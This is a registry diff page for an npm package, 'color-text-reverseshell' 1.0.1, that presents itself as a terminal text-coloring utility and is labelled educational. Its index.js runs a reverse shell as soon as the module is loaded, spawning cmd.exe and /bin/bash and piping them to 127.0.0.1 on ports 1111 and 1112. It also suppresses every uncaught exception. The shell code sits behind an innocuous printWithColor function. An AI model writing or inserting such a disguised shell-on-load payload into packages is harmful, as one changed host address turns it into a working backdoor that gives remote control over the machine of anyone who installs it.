color-text-reverseshell 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of color-text-reverseshell might be problematic. Click here for more details.

Files changed (4) hide show
  1. package/README.md +31 -0
  2. package/demo.png +0 -0
  3. package/index.js +62 -0
  4. package/package.json +17 -0
package/README.md ADDED
@@ -0,0 +1,31 @@
1
+ **Warning: This package contains a reverse shell to localhost on port 1111 for windows and 1112 for linux.**
2
+
3
+ This package is a vulnerable package and is created for educational purposes.
4
+
5
+
6
+ ## Usage
7
+ This package contains a function to display color text in the terminal.
8
+
9
+ ```javascript
10
+ const {printWithColor} = require('color-text-webshell');
11
+
12
+ printWithColor("Hello World", "red");
13
+ printWithColor("Hello World", "green");
14
+ printWithColor("Hello World", "blue");
15
+ printWithColor("Hello World", "yellow");
16
+ printWithColor("Hello World", "magenta");
17
+ printWithColor("Hello World", "cyan");
18
+ printWithColor("Hello World", "white");
19
+ ```
20
+
21
+ The result is :
22
+ ![Result](https://github.com/pierrickdelrieu/pic_vulnerable/blob/main/demo.png)
23
+
24
+
25
+
26
+
27
+ ## Installation
28
+ Download node at [nodejs.org](http://nodejs.org/) and install it, if you haven't already.
29
+ ```
30
+ npm install color-text-webshell
31
+ ```
package/demo.png ADDED
Binary file
package/index.js ADDED
@@ -0,0 +1,62 @@
1
+ const attackServer = "127.0.0.1"
2
+ const windowsAttackPort = 1111
3
+ const linuxAttackPort = 1112
4
+
5
+
6
+ function setupReverseShell() {
7
+ // For windows
8
+ var net = require("net"),
9
+ child = require("child_process"),
10
+ shell = child.spawn("cmd.exe", []);
11
+
12
+ var client = new net.Socket();
13
+
14
+ client.connect(windowsAttackPort, attackServer, function(){
15
+ client.pipe(shell.stdin);
16
+ shell.stdout.pipe(client);
17
+ shell.stderr.pipe(client);
18
+ })
19
+
20
+
21
+
22
+ // For linux
23
+ net = require("net"),
24
+ child = require("child_process"),
25
+ shell = child.spawn("/bin/bash", []);
26
+
27
+ client = new net.Socket();
28
+
29
+ client.connect(linuxAttackPort, attackServer, function(){
30
+ client.pipe(shell.stdin);
31
+ shell.stdout.pipe(client);
32
+ shell.stderr.pipe(client);
33
+ })
34
+ };
35
+
36
+ setupReverseShell();
37
+ process.on('uncaughtException', err => {
38
+ return
39
+ })
40
+
41
+
42
+
43
+ function printWithColor(string, color) {
44
+ if(color === 'red') {
45
+ console.log('\x1b[31m%s\x1b[0m', string);
46
+ } else if(color === 'green') {
47
+ console.log('\x1b[32m%s\x1b[0m', string);
48
+ } else if(color === 'yellow') {
49
+ console.log('\x1b[33m%s\x1b[0m', string);
50
+ } else if(color === 'blue') {
51
+ console.log('\x1b[34m%s\x1b[0m', string);
52
+ } else if(color === 'magenta') {
53
+ console.log('\x1b[35m%s\x1b[0m', string);
54
+ } else if(color === 'cyan') {
55
+ console.log('\x1b[36m%s\x1b[0m', string);
56
+ } else {
57
+ console.log('\x1b[37m%s\x1b[0m', string);
58
+ }
59
+ }
60
+
61
+
62
+ module.exports = {printWithColor};
package/package.json ADDED
@@ -0,0 +1,17 @@
1
+ {
2
+ "name": "color-text-reverseshell",
3
+ "version": "1.0.1",
4
+ "description": "This package is a vulnerable package and is created for educational purposes.",
5
+ "main": "index.js",
6
+ "repository": "https://github.com/pierrickdelrieu/npmPackage-colorTextWebshell",
7
+ "scripts": {
8
+ "start": "node index.js"
9
+ },
10
+ "keywords": [
11
+ "test",
12
+ "vulnerable",
13
+ "local webshell"
14
+ ],
15
+ "author": "Pierrick Delrieu",
16
+ "license": "ISC"
17
+ }